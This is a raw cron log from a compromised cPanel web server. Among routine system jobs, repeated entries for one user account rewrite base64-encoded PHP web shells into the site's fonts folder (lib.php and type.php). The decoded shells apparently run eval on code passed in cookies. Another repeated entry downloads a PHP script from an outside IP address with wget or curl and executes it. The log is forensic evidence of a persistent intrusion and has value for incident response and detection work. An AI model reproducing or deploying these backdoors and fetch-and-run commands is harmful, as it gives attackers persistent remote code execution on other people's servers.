Sep 12 02:53:01 ip-184-168-122-23 CROND[13464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:54:01 ip-184-168-122-23 CROND[13543]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:54:01 ip-184-168-122-23 CROND[13544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:54:01 ip-184-168-122-23 CROND[13542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:54:01 ip-184-168-122-23 CROND[13545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:54:01 ip-184-168-122-23 CROND[13547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:55:01 ip-184-168-122-23 CROND[13631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:55:01 ip-184-168-122-23 CROND[13635]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:55:01 ip-184-168-122-23 CROND[13633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:55:01 ip-184-168-122-23 CROND[13632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:55:01 ip-184-168-122-23 CROND[13634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:55:01 ip-184-168-122-23 CROND[13636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:56:01 ip-184-168-122-23 CROND[13746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:56:01 ip-184-168-122-23 CROND[13748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:56:01 ip-184-168-122-23 CROND[13749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:56:01 ip-184-168-122-23 CROND[13747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:56:01 ip-184-168-122-23 CROND[13750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:57:01 ip-184-168-122-23 CROND[13859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:57:01 ip-184-168-122-23 CROND[13861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:57:01 ip-184-168-122-23 CROND[13860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:57:01 ip-184-168-122-23 CROND[13862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:58:01 ip-184-168-122-23 CROND[14027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:58:01 ip-184-168-122-23 CROND[14029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:58:01 ip-184-168-122-23 CROND[14030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:58:01 ip-184-168-122-23 CROND[14031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:58:01 ip-184-168-122-23 CROND[14032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:59:01 ip-184-168-122-23 CROND[14139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:59:01 ip-184-168-122-23 CROND[14141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:59:01 ip-184-168-122-23 CROND[14142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:59:01 ip-184-168-122-23 CROND[14143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:00:01 ip-184-168-122-23 CROND[14242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:00:01 ip-184-168-122-23 CROND[14244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:00:01 ip-184-168-122-23 CROND[14248]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:00:01 ip-184-168-122-23 CROND[14246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:00:01 ip-184-168-122-23 CROND[14247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:00:01 ip-184-168-122-23 CROND[14249]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:00:01 ip-184-168-122-23 CROND[14251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:00:01 ip-184-168-122-23 CROND[14254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:01:01 ip-184-168-122-23 CROND[14354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:01:01 ip-184-168-122-23 CROND[14356]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 03:01:01 ip-184-168-122-23 CROND[14355]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 03:01:01 ip-184-168-122-23 CROND[14358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:01:01 ip-184-168-122-23 CROND[14360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:01:01 ip-184-168-122-23 CROND[14361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14355]: starting 0anacron
Sep 12 03:01:01 ip-184-168-122-23 anacron[14377]: Anacron started on 2026-09-12
Sep 12 03:01:01 ip-184-168-122-23 anacron[14377]: Will run job `cron.daily' in 46 min.
Sep 12 03:01:01 ip-184-168-122-23 anacron[14377]: Jobs will be executed sequentially
Sep 12 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14380]: finished 0anacron
Sep 12 03:02:01 ip-184-168-122-23 CROND[14469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:02:01 ip-184-168-122-23 CROND[14471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:02:01 ip-184-168-122-23 CROND[14472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:02:01 ip-184-168-122-23 CROND[14473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:02:01 ip-184-168-122-23 CROND[14476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:03:01 ip-184-168-122-23 CROND[14637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:03:01 ip-184-168-122-23 CROND[14636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:03:01 ip-184-168-122-23 CROND[14639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:03:01 ip-184-168-122-23 CROND[14638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:04:02 ip-184-168-122-23 CROND[14747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:04:02 ip-184-168-122-23 CROND[14750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:04:02 ip-184-168-122-23 CROND[14751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:04:02 ip-184-168-122-23 CROND[14753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:04:02 ip-184-168-122-23 CROND[14752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:05:01 ip-184-168-122-23 CROND[14854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
